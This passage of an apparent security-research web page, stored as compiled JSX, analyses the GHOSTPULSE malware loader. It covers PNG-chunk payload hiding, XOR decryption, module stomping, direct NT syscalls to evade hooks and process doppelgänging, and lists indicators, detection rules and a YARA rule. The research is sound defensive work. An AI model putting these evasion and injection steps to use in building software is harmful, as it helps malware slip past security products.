first_chunk[];\n};\n`})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"size_of_chunk\"}),\": The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"xor_key\"}),\": A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"size_of_encrypted_blob\"}),\": Denotes the overall size of the encrypted blob, which is stored in chunks within the file\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"first_chunk\"}),\": Marks the start of the first chunk of data in memory\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image2.png\",alt:\"\",width:\"843\",height:\"446\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`struct next_idat_chunk\n{\nDWORD size_of_chunk;\nDWORD IDAT_string;\n_BYTE n_chunk[];\n};\n`})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"size_of_chunk\"}),\": The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"n_chunk\"}),\": Marks the start of the chunk of data in memory\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key \",(0,t.jsx)(e.em,{children:\"xor_key\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the \",(0,t.jsx)(e.code,{children:\"RtlDecompressBuffer\"}),\" api.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image1.png\",alt:\"Decompression using the RtlDecompressBuffer API\",width:\"641\",height:\"142\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware proceeds by loading a specified library stored in its configuration, in this case, \",(0,t.jsx)(e.code,{children:\"mshtml.dll\"}),\", utilizing the \",(0,t.jsx)(e.em,{children:\"LoadLibraryW\"}),\" function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This technique is known as \\u201Cmodule stomping\\u201D. The following image shows the associated \",(0,t.jsx)(e.em,{children:\"VirtualProtect\"}),\" API calls captured with \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/install-endpoint.html\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" associated with the module stomping:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image4.png\",alt:\"\",width:\"1038\",height:\"318\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"stage-2\",children:\"Stage 2\"}),`\n`,(0,t.jsx)(e.p,{children:`Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism.\nThe following is the IAT structure of stage 2:`}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`struct core_stage2_IAT\n{\n void *kernel32_module;\n void *ntdll_module;\n void *kernel32_CreateFileW;\n void *kernel32_WriteFile;\n void *kernel32_ReadFile;\n void *kernel32_SetFilePointer;\n void *kernel32_CloseHandle;\n void *kernel32_GlobalAlloc;\n void *kernel32_GlobalFree;\n void *kernel32_ExpandEnvironmentStringsW;\n void *kernel32_GetFileSize;\n void *kernel32_GetProcAddress;\n void *kernel32_LoadLibraryW;\n void *ntdll__swprintf;\n void *kernel32_QueryPerformanceCounter;\n void *ntdll_RtlDecompressBuffer;\n void *field_80;\n void *field_88;\n void *field_90;\n void *field_98;\n void *field_A0;\n void *ntdll_NtDelayExecution;\n void *ntdll_RtlRandom;\n void *kernel32_GetModuleFileNameW;\n void *kernel32_GetCommandLineW;\n void *field_C8;\n void *ntdll_sscanf;\n void *field_D8;\n void *ntdll_NtQueryInformationProcess;\n void *ntdll_NtQuerySystemInformation;\n void *kernel32_CreateDirectoryW;\n void *kernel32_CopyFileW;\n void *ntdll_NtClose;\n void *field_108;\n void *field_110;\n void *field_118;\n void *field_120;\n void *field_128;\n void *kernel32_SetCurrentDirectoryW;\n void *field_138;\n void *kernel32_SetEnvironmentVariableW;\n void *kernel32_CreateProcessW;\n void *kernel32_GetFileAttributesW;\n void *msvcrt_malloc;\n void *msvcrt_realloc;\n void *msvcrt_free;\n void *ntdll_RtlHashUnicodeString;\n void *field_178;\n void *field_180;\n void *kernel32_OpenMutexA;\n void *field_190;\n void *kernel32_VirtualProtect;\n void *kernel32_FlushInstructionCache;\n void *field_1A8;\n void *ntdll_NtOpenProcessToken;\n void *ntdll_NtQueryInformationToken;\n void *ntdll_RtlWalkFrameChain;\n void *field_1C8;\n void *addr_temp_file_content;\n void *addr_decrypted_file;\n};\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded \",(0,t.jsx)(e.code,{children:\"ntdll.dll\"}),\" library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of \",(0,t.jsx)(e.code,{children:\"ntdll.dll\"}),\" and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the \",(0,t.jsx)(e.code,{children:\"ntdll.dll\"}),\" library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following is the structure used by the malware to store NT API offsets:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table\n{\n __int64 ntdll_module;\n int ZwCreateSection;\n int ZwMapViewOfSection;\n int ZwWriteVirtualMemory;\n int ZwProtectVirtualMemory;\n int NtSuspendThread;\n int ZwResumeThread;\n int ZwOpenProcess;\n int ZwGetContextThread;\n int NtSetContextThread;\n};\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"GHOSTPULSE has the ability to establish persistence, if configured to, by generating an \",(0,t.jsx)(e.code,{children:\".lnk\"}),\" file that points to the Stage 1 binary, denoted as \",(0,t.jsx)(e.code,{children:\"VBoxSVC.exe\"}),\". To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image6.png\",alt:\"Persistence executed according to the configuration flag\",width:\"1067\",height:\"83\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value \",(0,t.jsx)(e.code,{children:\"0xA1B2D3B4\"}),`. Finally, the encrypted data is saved to a file in the user's temporary folder.\nIt extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value `,(0,t.jsx)(e.code,{children:\"0xA1B2D3B4\"}),\". Finally, the encrypted data is saved to a file in the user's temporary folder.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit \",(0,t.jsx)(e.code,{children:\"cmd.exe\"}),\" in this case. It then adds an environment variable to the child process with a random name, example: \",(0,t.jsx)(e.code,{children:\"GFHZNIOWWLVYTESHRTGAVC\"}),\", pointing to the previously created temporary file.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Further, the malware proceeds by creating a section object and mapping a view of it to \",(0,t.jsx)(e.code,{children:\"mshtml.dll\"}),\" in the child process using the \",(0,t.jsx)(e.code,{children:\"ZwCreateSection\"}),\" and \",(0,t.jsx)(e.code,{children:\"ZwMapViewOfSection\"}),\" APIs.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The legitimate \",(0,t.jsx)(e.code,{children:\"mshtml.dll\"}),\" code is overwritten with the \",(0,t.jsx)(e.em,{children:\"WriteProcessMemory\"}),\" API. The primary thread\\u2019s execution is then redirected to the malicious code in \",(0,t.jsx)(e.code,{children:\"mshtml.dll\"}),\" with the \",(0,t.jsx)(e.em,{children:\"Wow64SetThreadContext\"}),\" API as shown in the following image:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image12.png\",alt:\"\",width:\"1071\",height:\"228\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The parent process promptly terminates itself.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"stage-3\",children:\"Stage 3\"}),`\n`,(0,t.jsxs)(e.p,{children:['The objective of GHOSTPULSE\\u2019s Stage 3 is to load and execute the final payload in another process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the \"',(0,t.jsx)(e.a,{href:\"https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/\",rel:\"nofollow\",children:\"heaven\\u2019s gate\"}),'\" technique.']}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image9.png\",alt:\"\",width:\"624\",height:\"200\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure \",(0,t.jsx)(e.code,{children:\"Wow64FsRedirection\"}),\", if configured to do so.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Following this, Stage 3 accesses the environment variable that was set earlier, in our case \",(0,t.jsx)(e.code,{children:\"GFHZNIOWWLVYTESHRTGAVC\"}),\", retrieves the associated temporary file and proceeds to decrypt its contents.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image15.png\",alt:\"Decrypting the temp file using the computer name and a hardcoded value\",width:\"932\",height:\"274\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image3.png\",alt:\"Decrypting the final payload\",width:\"1215\",height:\"757\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"GHOSTPULSE employs \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack\",rel:\"nofollow\",children:\"Process Doppelg\\xE4nging\"}),\", leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Calls the \",(0,t.jsx)(e.code,{children:\"CreateTransaction\"}),\" API to initial a transaction\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Creates a transaction file with a random file name in temp folder with the \",(0,t.jsx)(e.code,{children:\"ZwCreateFile\"}),\" API\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Writes the payload to the temp file using the \",(0,t.jsx)(e.code,{children:\"ZwWriteFile\"}),\" API\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Creates a section of the transaction file with \",(0,t.jsx)(e.code,{children:\"ZwCreateSection\"}),\" API\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"At this point the file is not needed anymore, the malware calls the \",(0,t.jsx)(e.code,{children:\"RollbackTransaction\"}),\" API to roll the transaction back\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample \",(0,t.jsx)(e.code,{children:\"1msbuild.exe1\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"It maps a view of the section to the process with the \",(0,t.jsx)(e.code,{children:\"ZwMapViewOfSection\"}),\" API\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"It sets the child process thread instruction pointer to the entry point of the final payload with the \",(0,t.jsx)(e.code,{children:\"NtSetContextThread\"}),\" API\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Finally it resumes the thread with the \",(0,t.jsx)(e.code,{children:\"NtResumeThread\"}),\" API\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image8.png\",alt:\"Functions used to execute process doppelg\\xE4nging technique\",width:\"1011\",height:\"250\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"final-payload\",children:\"Final Payload\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was \",(0,t.jsx)(e.code,{children:\"195.201.198[.]179\"}),\" over TCP port \",(0,t.jsx)(e.code,{children:\"15647\"}),\" as shown below:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image7.jpg\",alt:\"\",width:\"360\",height:\"112\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"configuration-extractor\",children:\"Configuration extractor\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Alongside this research, the Elastic Security Research Team has provided a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/blob/main/tools/ghostpulse/ghostpulse_payload_extractor.py\",rel:\"nofollow\",children:\"configuration extractor\"}),\" to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image16.png\",alt:\"\",width:\"1440\",height:\"787\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-guidance\",children:\"Detection Guidance\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Defend detects this threat with the following \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/tree/main/behavior\",rel:\"nofollow\",children:\"behavior protection rules\"}),\":\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"DNS Query to Suspicious Top Level Domain\"}),`\n`,(0,t.jsx)(e.li,{children:\"Library Load of a File Written by a Signed Binary Proxy\"}),`\n`,(0,t.jsx)(e.li,{children:\"Suspicious API Call from an Unsigned DLL\"}),`\n`,(0,t.jsx)(e.li,{children:\"Suspicious Memory Write to a Remote Process\"}),`\n`,(0,t.jsx)(e.li,{children:\"Process Creation from Modified NTDLL\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The following yara rule will also detect GHOSTPULSE loaders on disk:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar\",rel:\"nofollow\",children:\"Windows.Trojan.GhostPulse\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"All observables are also available for \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Observable\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Reference\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"78.24.180[.]93\"}),(0,t.jsx)(e.td,{children:\"ip-v4\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Stage 0 C2 IP\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"manojsinghnegi[.]com\"}),(0,t.jsx)(e.td,{children:\"domain-name\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Stage 0 C2 domain\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"manojsinghnegi[.]com/2.tar.gpg\"}),(0,t.jsx)(e.td,{children:\"url\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Stage 0 C2 URL\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20\"}),(0,t.jsx)(e.td,{children:\"sha256\"}),(0,t.jsx)(e.td,{children:\"Chrome-x64.msix\"}),(0,t.jsx)(e.td,{children:\"Malicious MSIX\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8\"}),(0,t.jsx)(e.td,{children:\"sha256\"}),(0,t.jsx)(e.td,{children:\"Brave-x64.msix\"}),(0,t.jsx)(e.td,{children:\"Malicious MSIX\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356\"}),(0,t.jsx)(e.td,{children:\"sha256\"}),(0,t.jsx)(e.td,{children:\"Webex.msix\"}),(0,t.jsx)(e.td,{children:\"Malicious MSIX\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61\"}),(0,t.jsx)(e.td,{children:\"sha256\"}),(0,t.jsx)(e.td,{children:\"new1109.ps1\"}),(0,t.jsx)(e.td,{children:\"PowerShell Downloader\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9\"}),(0,t.jsx)(e.td,{children:\"sha256\"}),(0,t.jsx)(e.td,{children:\"38190626900.rar\"}),(0,t.jsx)(e.td,{children:\"GHOSTPULSE tar archive\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Futurity Designs Ltd\"}),(0,t.jsx)(e.td,{children:\"Code signer\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Chrome-x64.msix code signer\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Fodere Titanium Limited\"}),(0,t.jsx)(e.td,{children:\"Code signer\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Brave-x64.msix code signer\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"IMPERIOUS TECHNOLOGIES LIMITED\"}),(0,t.jsx)(e.td,{children:\"Code signer\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"Webex.msix code signer\"})]})]})]})}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://twitter.com/1ZRR4H/status/1699923793077055821\",rel:\"nofollow\",children:\"https://twitter.com/1ZRR4H/status/1699923793077055821\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/\",rel:\"nofollow\",children:\"https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates\",rel:\"nofollow\",children:\"https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates\"})}),`\n`]})]})}function _(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(c,i)})):c(i)}var k=_;return v(S);})();\n;return Component;"},"_id":"articles/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks.mdx","_raw":{"sourceFilePath":"articles/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks.mdx","sourceFileName":"ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"},"type":"Article","imageUrl":"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/photo-edited-05@2x.jpg","readingTime":"17 min read","series":"","url":"/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks","headings":[{"level":2,"title":"Update","href":"#update"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Malware Analysis","href":"#malware-analysis"},{"level":3,"title":"Stage 0","href":"#stage-0"},{"level":3,"title":"Stage 1","href":"#stage-1"},{"level":3,"title":"Stage 2","href":"#stage-2"},{"level":3,"title":"Stage 3","href":"#stage-3"},{"level":3,"title":"Final Payload","href":"#final-payload"},{"level":2,"title":"Configuration extractor","href":"#configuration-extractor"},{"level":2,"title":"Detection Guidance","href":"#detection-guidance"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Joe Desimone","slug":"joe-desimone","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of j(e))!d.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=f(e,r))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=g((h,m)=\u003e{m.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var o=p(c()),M={title:\"Joe Desimone\",slug:\"joe-desimone\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,o.jsx)(e,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"authors/joe-desimone.mdx","_raw":{"sourceFilePath":"authors/joe-desimone.mdx","sourceFileName":"joe-desimone.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/joe-desimone"},"type":"Author","imageUrl":"","url":"/authors/joe-desimone"}],"category":[{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return 